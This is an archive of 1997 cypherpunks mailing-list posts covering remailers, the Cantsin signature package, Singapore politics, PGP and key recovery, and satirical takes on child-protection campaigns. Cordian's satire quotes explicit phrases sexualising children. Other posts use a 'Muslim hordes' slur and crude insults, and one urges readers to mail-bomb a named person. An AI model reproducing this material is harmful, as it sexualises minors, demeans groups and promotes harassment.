From anon at anon.efga.org  Mon Dec  8 10:00:54 1997
From: anon at anon.efga.org (Anonymous)
Date: Tue, 9 Dec 1997 02:00:54 +0800
Subject: Remailer Trivia / Re: Singapore & Freedom
Message-ID: 



> Doesn't Anonymous have a brother, Neal? Isn't he a playwrite, or
> author, or something?
> Anybody?

Neal Coward?







From comsec at nym.alias.net  Mon Dec  8 10:08:02 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Tue, 9 Dec 1997 02:08:02 +0800
Subject: Complete package for Cantsin Protocol No. 2
Message-ID: <19971208180006.2435.qmail@nym.alias.net>



-----BEGIN PGP SIGNED MESSAGE-----

Steffen Zahn  wrote:
 
> I have put together a package for Cantsin 2 Signatures, to 
> generate the keys, sign documents and check signatures.
>  
> Prerequisites are:
>  
> perl Version 5
> libgmp Version 2.*
> a C compiler
> currently /dev/random for generation of keys and signatures
>  
> precompiled binaries are provided for Linux-ELF (libc-5.*), if you have
> that you don't need libgmp.
>  
> Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (70 KByte)

Have you got a URL I can check out which explains this protocol and how
it's superior to, let's say, PGP?

Thanks.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNIwWngbp0h8ZvosNAQG9CQf+M9d05odxcm4s0D+hQltI5XbXFIE3iCzx
Bjl6n7Bs0rrs/oCy3goxTjGwrwrYlDNa7bNYpnXBPDGbRiZ2UE9vGSNY1B4aa/NL
vSwjlpG2chPp9rt5JEHiKV2EgUg0zvnK53L+wT4a2EB8xDkBIzcIbdTjThQqegnu
IxKD8oGXwloq8hHOxZO9kCqGiUrbUTbLsY2Swt7clYwxnFGL54JS9mw9nlUCgv8m
/MKU9w+RWBLzvuQv3yNK4VaTqyu/PJ8hm/9iMLCqiiF6Rghs+8euUVUSseeLJDrc
ZApkfzt/JNiu58DLpt1pI3ZReR4lCEVHjbOID/WyOPeVSKdnRrkyug==
=q1Hg
-----END PGP SIGNATURE-----






From nobody at neva.org  Mon Dec  8 10:32:38 1997
From: nobody at neva.org (Neva Remailer)
Date: Tue, 9 Dec 1997 02:32:38 +0800
Subject: Singapore & Freedom
Message-ID: <199712081823.MAA10229@dfw-ix13.ix.netcom.com>




harish.pillay at brokat.com wrote
>
..much deleted text...
>
>So, yes, the govt does at times choke the entrepreneurship drive
>of the local population, but there are industries where the
>coexistence of private initiative and govt-linked companies have
>been possible and viable.
 
Please advise what industries and the companies involved.


>Let's analyze the premise of an educational system. ....
>It has been a fine balance between a fully liberal system and
>one that generates worker units for the most part of the last
>30-35 years. ...  It will take 5-10 years before an increasingly
>liberal system is in place - an increasing thinking population
>that is part of the global information flow that will
>characterize the next centuries economies.

This last sentence appears to have been taken right out the PAP
policy manual, and it is a good policy statement.  Educational
systems are generally engineered by society to help prepare the
students for life in that society.  In western societies the
educational system is engineered by a number of different groups
in that society in what is thought to be in the best interest of
the society.  Who is doing the planning in Singapore and for what
ends?  I believe you will find Elder Statesman Lee has a major
involvement at this time.  If you look you will find an
accelerated push to generate a more technical population. 
Children in Singapore start school at 5 years of age, after 5
years of schooling, what is the daily homework load for a 10 year
old student??  Three to 5 hours per day?  If this figure is not
correct please advise the correct figure.  What percentage of
parents feel compelled to hire tutors to enhance their child's
education or just so they get good grades?  Is 60% too low?? 
What type of bonuses do school principals receive, is it based on
the overall grade-point average of the students in their school? 
Why the big push?  Who is the primary beneficiary of this push? 
Is this being done for the benefit of the worker units or the
collective good of the controllers of the political group in
power?

Harry and his buddies have done a fantastic job with Singapore
Inc. over the last 40 years.  Harry had a great vision and
splendid execution of that vision.  Problem now is that he is
rather long in the tooth and his people have changed.  Instead of
loosening up and allowing more democratic freedoms Harry and the
boys are finding excuses to state that Singaporeans must work
harder and expect less in the way of freedoms.  Harry has stated
many times that one of the biggest problems with western style
democracies is that the voters can defeat a perfectly good
government and install a bunch of goofs who spoil everything. 
True enough, we sometimes vote goofs into power, but at least we
have the choice.  Harry and the PAP have destroyed every bit of
political opposition or made the opposition unpalatable to the
voters.

>Pray tell me how the SG govt has brought BB into reality? ...

Singapore is surrounded by the Muslim hordes who covet their
wealth and it has no internal security apparatus?  In the 50s
Singapore literally had a den of spies.  The regional den of
spies is now Bangkok.  Why do ya figure they all moved their
operations?? The Singaporeans politely asked them to leave?  Have
you ever had any dealings with your nation's security apparatus? 
If you did you would notice something strange.  You just got
picked up for something that happened last week but these people
know about your whole life.  They know how many hours you spend
at the office, when you are out of the country, who you socialize
with, and any vices you may have.  Maybe they really don't do the
Big Brother thing, they probably just have a crystal ball and got
lucky with a few guesses and bluffed the rest.  If you believe
this last statement I have a real deal for you on some excellent
used cars.

When the Singapore government announced their intent to connect
every household to the Internet they asked every citizen to
become an informant and watch their neighbors (neighbours) for
subversive activity and report any such activity to the
authorities.  Now, if you connect to those 100 restricted porn
sites and saved copies of all you viewed on your computer and the
authorities discovered that porn what would be your fate? Or are
you immune to this threat?

>Interesting that you hide behind an anomymous name...

I notice your government does not like anonymous dissent either.
The standard procedure in Singapore in dealing with trouble
makers is to dig up their records, school, National Service,
employment, and whatever else they can get and then tear the poor
souls apart.  Harry has participated in this tactic many times.

Just so it will not bother you, I admit I am a low-life.  Dropped
out of school, fired from every job, do drugs, abuse alcohol,
guns, no church, beat my kids, beat my wife, beat my dog, and I
hang-out in second-rate strip-joints with bikers who deal drugs
and loanshark.  Plus I collect welfare.....

I use anonymous mail for many reasons.  The reason here should be
pretty obvious.


SingMonger









From attila at hun.org  Mon Dec  8 10:38:31 1997
From: attila at hun.org (Attila T. Hun)
Date: Tue, 9 Dec 1997 02:38:31 +0800
Subject: NA/McAfee pulls out of KRAP (Re: One for the Good Guys)
In-Reply-To: <199712071245.MAA01821@server.test.net>
Message-ID: <19971208.182556.attila@hun.org>



-----BEGIN PGP SIGNED MESSAGE-----

    as I heard the story, NA was not really aware they were in KRAP; seems
    like a marketing type (no brains as first requirement) signed them
    up at the inception --however, they never made formal signed application;   
    and, they never paid their dues. rest as follows....  and it does not
    make me trust PGP 5+ anymore than I ever did. PGP 5.5 may not endorse
    KRAP and he rest of that nonsense, but it sure has the hooks for it.

        attila

on or about 971207:1245, in <199712071245.MAA01821 at server.test.net>, 
    Adam Back  was purported to have 
    expostulated to perpetuate an opinion:

>William Geiger  writes:
>> Well McAffe has reluctantly pulled out of KRAP.
>> 
>> http://www.pgp.com/newsroom/na-kra.cgi

>Well here it is, as it's pretty short:

>Sounds like good news to me.

>: Network Associates Withdraws from Key Recovery Alliance
>: 
>: Network Associates made the decision today to withdraw from the Key
>: Recovery Alliance. The decision to withdraw has been made based on the
>: acquisition of Pretty Good Privacy, Inc. (PGP), announced on December
>: 1.
>: 
>: Network Associates' decision to buy PGP was based on a commitment to
>: PGP's product line and the deployment of strong cryptography.
>: 
>: NAI believes that although the Key Recovery Alliance is not in itself
>: a political organization, membership in it has unintended political
>: consequences that outweigh any technical benefits we may receive.

>Adam

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNIw8m7R8UA6T6u61AQFLnAIAkCTnDqxU4KGnYmxkf/I+xVRDSjfbmoKk
jdlfIxzXB7SM0uTpouGvb93Bs+9GfdIR4gL+jzDS5eHTmPsYAUcRjw==
=YENV
-----END PGP SIGNATURE-----







From nobody at secret.squirrel.owl.de  Mon Dec  8 11:27:48 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 9 Dec 1997 03:27:48 +0800
Subject: No Subject
Message-ID: <82d58c5d19de5a8a146b13b45d7a1d25@squirrel>



Hmm. Okay, then.

I think Vulis needs each of us to send twenty copies of this back to him in
a horribly mutilated state.

>I think Vulis uses procmail.
>
>On 7 Dec 1997, Secret Squirrel wrote:
>
>> I think Vulis needs each of us to send ten copies of this back to him.
>>






From alanh at global.co.za  Mon Dec  8 11:50:04 1997
From: alanh at global.co.za (Alan Holliday)
Date: Tue, 9 Dec 1997 03:50:04 +0800
Subject: (no subject)
Message-ID: <348AFA73.FC9198DB@global.co.za>









From rwright at adnetsol.com  Mon Dec  8 12:12:13 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Tue, 9 Dec 1997 04:12:13 +0800
Subject: Time Magazine on America Online pornospam and Kids Summit
Message-ID: <199712082002.MAA04712@adnetsol.adnetsol.com>



On or About  8 Dec 97 at 12:44, Declan McCullagh wrote:

> http://www.pathfinder.com/time/magazine/1997/dom/971215/technology.a
> merica_onlin.html

>From the above:

"But parents may have to resort to the crude but effective technique
of keeping the computer in public view and looking over the kids'
shoulders every once in a while. "

What a novel idea, Declan, parental supervision!  Who would have 
thought?

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://ross.adnetsol.com
Voice: (408) 259-2795






From nobody at REPLAY.COM  Mon Dec  8 12:17:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 04:17:32 +0800
Subject: It's Sunday...
Message-ID: <199712082004.VAA16310@basement.replay.com>



-----Begin Forward Message-----
From: Linda Reed 
Organization: pima county

Hi, CJ   
                      -- Thanx for cheering me up on a MONday mornin' -- 
and for your bits of worldly wisdom.

        Every once in a while, in between the gross sexual/political
bashings 
and overstatement of the not-so-obvious, I can glean some truthful 
observation on the world at large--something to at least spark my brain 
(which it badly needs today).

        Thanx for the warning.  People DO ask about you from
time-to-time, 
especially Bob & Kid Squidd--who both seem to be doing OK--and others, 
who breathe a sigh of relief when I tell them you're still out of the 
country ;)

        I have one more month of probation at my new job with the
county--the 
thing is they want me to come in every day--and at the right time! 
Still 
struggling with that part--in the mean time getting all their programs 
and screens to hold onto a 4-digit year in preparation for the
Year-2000. 
 I've talked to several people who are making lots of money convincing 
everyone to pay them to revamp for the inevitability of the century 
change--who also plan to retire some time before it hits (and remain 
out-of-touch in case the revamping fails for any reason).

I'm having T-shirts made for LL & the Driffters for Xmas--special green
& 
red colors--shall I mail you one?
to what address?  We're still driffting around--looks like I'll have to 
actually pay for studio time and an engineer early in the year to get a 
recording done--want to come sing in background on "It's A Long Way to
My 
Heart"?

Here's wishing you a Merry one from a girl who's been both naughty and 
nice  -- Linda Lou ;) 

-----End Forward Message-----






From emc at wire.insync.net  Mon Dec  8 12:24:42 1997
From: emc at wire.insync.net (Eric Cordian)
Date: Tue, 9 Dec 1997 04:24:42 +0800
Subject: Safe Speech
Message-ID: <199712082011.OAA30644@wire.insync.net>



 
 
 
                 The Blue-Nosed Guardian (Nikki Craft, NJ)
 
                 December 4, 2000; THURSDAY; ALL EDITIONS
 
SECTION: OPINION;
 
HEADLINE: PEDOPHILES IN THE BIOSPHERE;
WE MUST STOP SPOKEN CHILD PORNOGRAPHY EVERYWHERE
 
BYLINE: The Record
 
BODY:
 
The increasing presence of child pornography in spoken communications
is a national problem that must be dealt with aggressively and
quickly. This is not a free-speech or First Ammendment issue.  Child
pornography is a crime.  We do not tolerate it on our computers, and
we should not tolerate it in audiospace.
 
Unfortunately, as a Page One article in the Blue-Nosed Guardian
pointed out yesterday, audiospace is tailor-made for the dissemination
of child pornography.  It allows peophiles instant access to explicit
descriptions of childhood sexual activity almost anywhere, and it
gives distributors and collectors enough anonymity to avoid getting
caught and being prosecuted.
 
Using advanced non-digital technology, two pedophiles can meet almost
anywhere, and exchange explicit descriptions of childhood sexual
activity, with little fear of detection.  Phrases like "Timmy, aged 7,
has a stiffie" and "Little Mary's muffin swelled and moistened when
she saw little Timmy's cute red knob" can be exchanged with ease
vicariously victimizing inocent children worldwide by transforming
them into sexual objects for pedophiles' selfish gratification.
 
In fact, the ease of communicating descriptions of childhood sexual
activity through the spoken word may actually have broadened the
audience for child pornography.  And law enforcement officials worry
that this may lead to increased child abuse, because American parents
might actually begin to believe that guilt-free sex-positive messages
are good for children, in lieu of the normal beatings and
state-mandated psychotherapy.
 
Vice President and famed child-rearing expert Dr. James Dobson has
been leading a campaign to make sound waves safe for children.  This
week, he announced a new partnership between cities and the Justice
Department effort to crack down on child pornography, and a toll-free
hotline where people may report any neighbors heard discussing the
sexuality of minors in terms other than those used in Surgeon General
Phyllis Schlafly's "Innocence and Abstinence" report.
 
But law enforcement officials, sound wave experts, and child advocates
say it's not that easy, by any means.  Even if landlords, businesses,
and professionals cooperate in monitoring all speech uttered by
persons on their premises, there are hundreds of small conversations
which take place in other locations, where people are loathe to police
others, because of liability concerns, or because they consider it to
be a waste of time.
 
The Blue-Nosed Guardian's article also pointed out that most law
enforcement officials are not knowlegable enough to track down child
pornography distributors, who are experts at whispering spoken
descriptions of child sexual activity and finding new ways to conceal
their communications from onlookers.  Law enforcement officials may
also lack the manpower needed to track down pedophiles.  "If we want
to break into someones house and install recording equipment," one
investigator said, "we actually have to go in front of a judge and get
a warrant." Child advocates say they hope to eliminate such "loopholes
for pedophiles" in the future.
 
Many more "audiocops" are needed at the federal, state, and local
levels, who have the expertise to stay ahead of spoken communication,
and much more manpower and training is needed.
 
In New Jersey, state Sen. stupid fuck Andrew Ciesla, has introduced a
bill which would set aside $400,000,000 of money stolen from the
taxpayers for a special unit to investigate spoken child pornography,
and create a 24-hour toll-free state hot line for people to turn in
their neighbors.
 
Alerting the authorities is a key component of this crackdown, and Dr.
Dobson also announced a national "AudioTip" hotline to report any
comments about childhood sexuality which might be overheard.  Dr.
Dobson also took the opportunity to plug his new book, "Dare to
Discipline III: Electrotorture and Enemas."
 
The Vice President is to be commended for seeking ways to stop these
ugly predators.  But this effort must be more than just lip service.
It must result in all Americans understanding that children have no
sexual feelings, and engage in no sexual behavior prior to age 18
unless they have been corrupted by pedophiles, and that abstinence is
the expected behavior of those over 18, before entering into a stable
marriage which can only be terminated by the death of one of the
partners.
 
In the meantime, intense pressure should be brought to bear on the
non-mute citizen units, and those who supervise them, to make a huge
dent in this particularly vile audiocrime, through aggressive
self-policing and frequent government-sponsored self-criticism
sessions.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 






From nobody at REPLAY.COM  Mon Dec  8 13:01:17 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 05:01:17 +0800
Subject: Complete package for Cantsin Protocol No. 2
Message-ID: <199712082051.VAA22039@basement.replay.com>



Steffen Zahn wrote:
>I have put together a package for Cantsin 2 Signatures, to generate
>the keys, sign documents and check signatures.

I've been looking this over and it's a nice job.  The code is clean
and orderly.  I haven't had a chance to play with it yet, but it looks
like everything is done the right way.  For example, it doesn't tell
you how many valid signatures a file has, it outputs a fragment of the
file for each valid signature.  The database of known keys has the
nice property that you can name each key anything you like.

The source code is completely unencumbered.  This is great!  For some
reason, it has been the custom to issue free software with all sorts
of restrictions, in particular restrictions which hamper its
commercial use.  But, if we are giving it away to people so they will
use it, why restrict it?  If somebody can use it to start a cypherpunk
company, this is a Good Thing.  (This can even be a Very Good Thing
for the original programmer. ;-)

It might be a good idea to publish the SHA1 checksum of the file you
are distributing.  The checksum of the file I got (cantsin.tar.gz)
was: D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A

I may not approve of the restrictions on free speech in Germany, but
at least the German government isn't trying to stop people from
publishing arithmetic.  The truth is, that for Monty Cantsin's
activities, he would get a better deal on free speech if he were
German.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: Complete package for Cantsin Protocol No. 2
To: cypherpunks at algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
2D6DA2EDBCB7DDB4C9F113F160BCF21C5B47BE59
-680 680
6684E438231B2FDE4EE66C30968B25940C4654CAC7343043F6E01EFFCCC3D3A6EAF5AC41790F6CE1DA95A7BAA90241F432C19B19164CD130C450AFB91AEC9B72BD1F7E587518F4A115DF25345391942408C3E41D9FBC249119A0B37A3D1E23E5992A044422151C2049174284BEC658D4481A2A9EA50075DADF33C78AE79ED07F238A7CE53224D30B0E25CFD079DF5BA78CA281BFE100FED703F8BDC139673BE9DE1AC9A3F77777182932EC8D9B945D64E3957C7C71C470F6EB462083C011AD4EC9D7D4AD9BD9A2400C703596E3AD65556076FD3DDEB150456849F15A074E4BA6E8E3A9FD2D7B1BEAAEF085DEA82BC75EA43014C5AD9A83A290F293A7CB5AEE93
BBEEEB9475CB0254CA902A8DA92B6C76700F590373FB759816E13EB28573CD5FCBCF144D6AA316E978E209AD0C67D7A3AC4DEA762664703C823B228F33B3C2BBCFF979C798356AFC00D98EF4279A8CC5B0B2E93282936EFA1A9EF6B7DE0AD8A5E830E2DD073355C47E043ADEC4EE3297FF3165E5874E2F3000CEB290F96087C98DFC836543717A377BE3BFC664D8DE87BF36CCA7E18690CA8A3793B1E7169B2C3299C9B5DE7F5FC8BB93C7818D29F003EF8EF00560875F6461900031FD57CEA3C5B71E161853BF064661AF401056023B360783BBC89CB596A7B16B52BF8C617EE21FA7AB20B63B2E2ECE5F18CA419AF3C65D7C886751B4AC285CA0EC35B5FFCC







From nobody at bureau42.ml.org  Mon Dec  8 14:29:54 1997
From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer)
Date: Tue, 9 Dec 1997 06:29:54 +0800
Subject: "Kids summit" -- CNNfn interview
Message-ID: <8jeveqa010H5sgP/WCPSOA==@bureau42.ml.org>



On 27 Nov 97 at 13:12, Declan McCullagh wrote:

> [I'd still like to hear more on the inner workings of next 
> week's "kids on the Net" summit from our friends at CDT who 
> are sponsoring it. The lineup of speakers includes Janet 
> Reno, Al Gore, and the secretaries of commerce and education. 
> All joining together to Protect the Children! --Declan]

Here is the piece about the CNN show transposed to another,
accurately analagous context to show the utter idiocy of what's
going on. What's really sad, what's really scary, is how _little_ I
actually had to transpose to do this. All I changed were the 
occurrences of "online," "software," and "Surf."  I modified a 
couple of other related words just to comport with the shift of 
the metaphor from online to streets/public places.  Many paragraphs 
remain unaltered because they contain none of the key words.

For credible transposition, imagine that the "tools" they're
discussing are something like a headset, blinders, and body armor
that kids can be made to wear while in public to protect them from
the realities of public places. Ask yourself how different that
would be from the assinine blocking software being discussed in the
original interview, and how intelligent is it to presume to think
one can mold all public places to be as safe and comfy as the family
living room. These people must be on very strong drugs.

This is also an indirect statement on the utter superficiality of 
present day "news" coverage. The original interview _says_ virtually 
nothing, communicates virtually no facts. It is really just an 
emotional rallying and back-patting with little discernable 
in the way of contextual detail.

PropagandaMongerII

                              ----------

> HEADLINE:  Kids & Public Streets

>     JOHN DEFTERIOS, CNNfn ANCHOR, ASPHALT JAM: Next week family
> advocates, educators and industry leaders are coming together to
> discuss ways to keep children safe on public streets.  One of the
> sponsors of the Streets Summit is Curbwatch, a company that makes
> blocking tools to help parents and teachers filter out
> objectionable street content.

>     Joining me now from Stanford, California to discuss the goals
> of the summit is Michael Sears.  He is the president of Curbwatch. 
> Michael it's great to have you on ASPHALT JAM.  Welcome to you.

>     MICHAEL SEARS, PRESIDENT, CURBWATCH: Thank you, a pleasure to
> be here.

>     DEFTERIOS: First of all, let's discuss how this summit came
> about.  Was it a building movement that finally crescendo.

>     SEARS: I think it is.  It's actually the outgrowth of what we
> did last June with President Clinton and Vice President Gore.  In
> fact June and July time frame the SDA (Streets Decency Act) was
> overturned.  The White House decided to take the initiative and
> asked the industry to get together to see what we can do to
> actually empower kids and enable kids on the streets.

>     DEFTERIOS OK.  What is the happy medium here, Michael because
> that's what everybody is really looking for because the Street
> Decency Act did stumble and we had people on both side of the
> debate wanting to stake out their territory.  What is , in your
> view, is the center ground?

>     SEARS: Well, the debate will continue, but the center ground
> really is that it's all about kids.  What we're talking about doing
> here is bringing together industry and law enforcement and public
> policy people and talking about to empower kids on streets and give
> them effective tools. Effective tools that are also very easy to
> use.

>     The idea behind that is how can kids actually get onto the
> streets, learn, research, discover, play and do it in a really
> enriching environment. But also we realize that there are a lot of
> safety concerns in public places. That's probably what we're going
> to talk about primarily.

>     DEFTERIOS: How about the ACLU, they were raising concerns
> about being blocked out here or filtration or censorship on the
> extreme.  How do you deal with that side of - the people on that
> side of the debate?

>     SEARS: It's a slippery slope.  The idea here is do we block,
> companies like Curbwatch, do we block content in public places.
> The idea once again is we target your typical 12 year old in the
> US.  If that 12 year old should see something or if that 12 years
> old needs to discover something we try to make sure that we have
> all of our technology, all of our processes in place to insure that
> information comes forward.  Such as, we don't block the idea of
> breast, for instance, because breast could be talking about a
> chicken recipe.  It could be talk about breast cancer.  However, if
> it's a sexually explicit depiction or expression of that word
> that's where you come in and use filtering tools to block.

>     DEFTERIOS: There's another side to this, of course, that kids
> are often much more street savvy than their parents.  How do you
> over that hurdle?

>     SEARS: That's a major hurdle.  In fact we're talking about
> empowering kids with effective tools, but those tools have to be
> very easy to use and the ease of use isn't really for the kids
> because the kids know how to do this stuff. They know what's on the
> streets. They know what's out there and they know how to get
> there. What we really provide are the easy to use tools for mom
> and dad. So mom and dad pointing and clicking and turning switches
> on and off very easily can really control the family's environment.

>     DEFTERIOS: As you know, this is a political hot potato for
> President Clinton because he didn't want to seem extreme on both
> side and he would like industry to work it out.  When it is all
> said and done, Michael, what is the solution here?

>     SEARS: Well, the solution that this market is all about is
> called parental control.  Curbwatch started the market about three
> years ago and the word parental control itself was important not
> only because it's the technology, but because of those first two
> words, parental control.  Mom and dad have to be involved.  Mom and
> dad have to engage not only to help the kids in public places, but
> also make sure that in street conversations or with graffiti or
> with explicit pictures they can really sit down and talk to the
> kids and moderate what their kids are doing.  We're just a tool.

>     DEFTERIOS: This is not a government.  Not to interrupt you,
> but we're almost out of time here.  But this is, you're saying, not
> government intervention then.

>     SEARS: Absolutely.

>     DEFTERIOS: The technology is out there to let the families
> tackle this on their own.

>     SEARS: That on and off switch should be in the hands of moms
> and dads not the government.

>     DEFTERIOS: OK, great.  How about your market share before we
> let you go tonight?  How are you faring against your competition?

>     SEARS: I think we're doing very well.  All the buzz that's
> been happening over the last couple of months has helped our shares
> as well as our competitors. We've shipped millions of copies, 7.2
> last July. We haven't done the survey lately, but we're clearly in
> the tens of millions right now.

>     DEFTERIOS: OK.  It's great to have you.

>     SEARS: Great to be here.  Thanks very much.

>     DEFTERIOS: And have a nice Thanksgiving holiday.

>     SEARS: Same to you.  Take care.

>     DEFTERIOS: My pleasure.  Michael Sears, president of Curbwatch,
> joining us from Stanford, California. 








From usura at sabotage.org  Mon Dec  8 14:33:59 1997
From: usura at sabotage.org (Alex de Joode)
Date: Tue, 9 Dec 1997 06:33:59 +0800
Subject: mail2news gateway (fwd)
Message-ID: <199712082217.XAA03959@basement.replay.com>




Anyone has more info
------

For the past several weeks, a right wing extremist group in Topeka, Kansas has been
tampering with mail2news gateways, including yours, to prevent several people who
oppose their hate agenda from posting to the usenet through your gateway.

The affected gateways include at least alt.revisionism, alt.christnet, alt.politics.homosexuality
and alt.abortion. Posts are returned "user unknown" suggesting that the mailbox may
have been deleted.

This is a group of *fanatics* (Westboro Baptist Church) whose website godhatesfags.com
may be known to you. They also operate several other websites under aliases the best-known
of which is revwhite.bestsites.net. They advocate murdering abortion clinic workers,
homosexuals and blacks.

'Rev White' (actually a member of the Fred Phelps family aka Westboro Baptist Church)
was responsible for conducting a reign of terrorism last year (see "WIRED" magazine,
Jan. 1997) against the irc that included death threats and operator sabotage. Several
in this group are highly skilled in hacking and are willing to spend whatever time
it takes launching denial of service attacks so that some of their opponents' viewpoints
can't be posted. And they're willing to do this everyday if necessary to harass and
intimidate others into silence. Several of them have criminal records in Topeka.


I'm writing to ask you in the name of fair play to re-open these gateways and do
whatever is necessary to keep them open. Better yet, I hope you can kept them in
the act like a Canadian ISP did and report them to

Special Agent Tom Maiorana
FBI
300 U.S. Courthouse
Kansas City, MO 64106
816-221-6100

Thank you for whatever assistance  you can be in this matter.

-- 
  Alex de Joode | usura at SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.






From perry at alpha.jpunix.com  Mon Dec  8 14:49:12 1997
From: perry at alpha.jpunix.com (John Perry)
Date: Tue, 9 Dec 1997 06:49:12 +0800
Subject: [Mix-L] mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: <19971208163152.39084@alpha.jpunix.com>



On Mon, Dec 08, 1997 at 11:17:20PM +0100, Alex de Joode wrote:

> 
> Anyone has more info ------
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours, to
> prevent several people who

It's news to me! Nobody has been tampering with the m2n at jpunix.

-- 
 John Perry KG5RG perry at alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg at kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry at jpunix.com is on the keyservers.






From andy at neptune.chem.uga.edu  Mon Dec  8 14:59:59 1997
From: andy at neptune.chem.uga.edu (Andy Dustman)
Date: Tue, 9 Dec 1997 06:59:59 +0800
Subject: mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: 



On Mon, 8 Dec 1997, Alex de Joode wrote:

> Anyone has more info
> ------
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours, to
> prevent several people who oppose their hate agenda from posting to the
> usenet through your gateway. 
> 
> The affected gateways include at least alt.revisionism, alt.christnet,
> alt.politics.homosexuality and alt.abortion. Posts are returned "user
> unknown" suggesting that the mailbox may have been deleted. 
> 
> This is a group of *fanatics* (Westboro Baptist Church) whose website
> godhatesfags.com may be known to you. They also operate several other
> websites under aliases the best-known of which is
> revwhite.bestsites.net. They advocate murdering abortion clinic workers,
> homosexuals and blacks. 

The nuts are real enough, but I think this must be a troll, or from
someone really confused.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy at neptune.chem.uga.edu   <}+++<






From clydew at ee.net  Mon Dec  8 15:10:54 1997
From: clydew at ee.net (Clyde Williamson)
Date: Tue, 9 Dec 1997 07:10:54 +0800
Subject: A Pretty Good Story, from The Netly News
In-Reply-To: 
Message-ID: <3.0.1.32.19971208181548.00693ca0@ee.net>



-----BEGIN PGP SIGNED MESSAGE-----

Well, I guess we can call off the hit on Zimmermann... hehehe.

BTW- Is there any way to create keys on PGP 5.0 besides the Diffe-
Hellman alg.?



>*********
>
>http://cgi.pathfinder.com/netly/opinion/0,1042,1617,00.html
>
>The Netly News Network (http://netlynews.com/)
>December 8, 1997
>
>A Pretty Good Story
>by Declan McCullagh (declan at well.com)
>
>        Phil Zimmermann had it easy fighting the U.S. government: At
>   least everyone else was on his side. Today the legendary 
cryptographer
>   and founder of Pretty Good Privacy (PGP) is finding that his 
latest
>   adversaries are just as determined but much more diverse.
>
>       Earlier this fall PGP drew fire for releasing PGP 5.5 with a
>   so-called "message recovery" feature that a corporation could 
require
>   users to turn on to let the boss read their e-mail. Then, when 
McAfee
>   Associates announced last week it would buy PGP, formerly 
supportive
>   privacy advocates screamed that the company's new owners were 
part of
>   the "Key Recovery Alliance," a group of firms devoted to 
producing
>   data-scrambling software easily snoopable by the government.
>
>        Now the complaining may stop, at least for a while. The
>   McAfee-PGP combo, called Network Associates, has dropped out of 
the
>   alliance. "I never would have allowed my own company to join the 
Key
>   Recovery Alliance," Zimmermann told me yesterday. "As soon as I 
found
>   out about McAfee being a member, I tried to do something about 
it."
>
>[...]
>
>
>
>
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNIx/kseWPtttGqZhAQGrgQf+NdTlJEuT33DSzkycI8I6u2p45G+4FPGP
7jszq1Zsnzs3GT1DLPO0DtYYTH1VVKC06oXFpWGBnnW1JcXeliIabWfmtOC20cuc
SqqgUre7FK0FvDCNrwB2QHUKRWjr2160vsJcqIgpehElJOV67NPBEISPUsbcs9MQ
FoF+yB6IRdz16C1PRRTfdr190veo3G4yQklyIuoNtAgMp+S6YVx03uujquib1pNU
tK5GdPiIRePSdFJT0SXcJXfD++f2Ck3rgSKLZzTVOoXR8B9oNynA4EK2aEQVSRBT
NfOr+wzRaNOyiEFEdeoQW785PR4PhdpPaqvFZr+pBi2GDI4Eb9OBPQ==
=Wdxn
-----END PGP SIGNATURE-----

Clyde Williamson
PGP Public Key found at http://users1.ee.net/clydew/pgp.htm

"My uncle always said that there was more 
than one way to skin a cat....
I guess that explains the fur pants."






From ghio at temp0170.myriad.ml.org  Mon Dec  8 15:18:31 1997
From: ghio at temp0170.myriad.ml.org (Matthew Ghio)
Date: Tue, 9 Dec 1997 07:18:31 +0800
Subject: mail2news gateway (fwd)
In-Reply-To: <199712082217.XAA03959@basement.replay.com>
Message-ID: <199712082258.RAA25427@myriad>



Someone wrote to usura:
> 
> For the past several weeks, a right wing extremist group in Topeka,
> Kansas has been tampering with mail2news gateways, including yours,
> to prevent several people who oppose their hate agenda from posting
> to the usenet through your gateway.
> 
> The affected gateways include at least alt.revisionism, alt.christnet,
> alt.politics.homosexuality and alt.abortion. Posts are returned "user
> unknown" suggesting that the mailbox may have been deleted.
> 
> This is a group of *fanatics* (Westboro Baptist Church) whose website
> godhatesfags.com may be known to you. They also operate several other
> websites under aliases the best-known of which is revwhite.bestsites.net.
> They advocate murdering abortion clinic workers, homosexuals and blacks.
[snip]


Yeah, I get email from these idiots every couple of weeks.  Every time
this guy's news server disk gets full and drops a post, or bounces an
email, he thinks someone is censoring him.  Just ignore it.






